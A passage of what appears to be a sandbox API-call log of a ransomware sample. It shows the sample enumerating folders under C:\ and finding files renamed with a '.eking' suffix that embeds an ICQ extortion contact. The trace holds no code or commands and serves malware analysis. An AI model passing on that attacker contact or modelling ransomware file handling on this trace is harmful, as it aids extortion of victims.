hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0274.832] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0274.832] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0274.832] GetProcessHeap () returned 0xaf0000 [0274.832] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0274.832] FindNextFileW (in: hFindFile=0xb03008, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0274.833] FindClose (in: hFindFile=0xb03008 | out: hFindFile=0xb03008) returned 1 [0274.833] GetProcessHeap () returned 0xaf0000 [0274.833] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0274.834] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0274.834] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7506308e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7506308e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0274.834] GetProcessHeap () returned 0xaf0000 [0274.834] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0274.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7506308e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7506308e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0274.836] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7506308e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7506308e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0274.836] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1025", cAlternateFileName="")) returned 1 [0274.836] GetProcessHeap () returned 0xaf0000 [0274.836] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0274.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c48 [0274.838] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.838] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b59cbd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0274.838] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b7ff6e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0274.838] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0274.838] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0274.838] FindClose (in: hFindFile=0xb02c48 | out: hFindFile=0xb02c48) returned 1 [0274.839] GetProcessHeap () returned 0xaf0000 [0274.840] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0274.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1028", cAlternateFileName="")) returned 1 [0274.840] GetProcessHeap () returned 0xaf0000 [0274.840] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0274.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0274.842] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.842] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2de245f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2de245f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0274.842] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e086b4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e086b4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0274.843] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0274.843] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0274.843] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0274.844] GetProcessHeap () returned 0xaf0000 [0274.844] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0274.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1029", cAlternateFileName="")) returned 1 [0274.844] GetProcessHeap () returned 0xaf0000 [0274.844] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0274.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.034] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.034] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e5f30b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.034] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e5f30b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e5f30b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e7af04, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.034] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.034] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.035] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.036] GetProcessHeap () returned 0xaf0000 [0275.036] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.036] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1030", cAlternateFileName="")) returned 1 [0275.036] GetProcessHeap () returned 0xaf0000 [0275.036] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0275.037] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.037] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc34c381a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc34c381a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34e992a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.037] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc350feeb, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc350feeb, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc350feeb, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.037] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.037] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.037] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0275.039] GetProcessHeap () returned 0xaf0000 [0275.039] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.039] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1031", cAlternateFileName="")) returned 1 [0275.039] GetProcessHeap () returned 0xaf0000 [0275.039] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.040] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.040] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3725da4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3725da4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc374c979, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.040] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc374c979, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc374c979, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3772239, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.040] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, 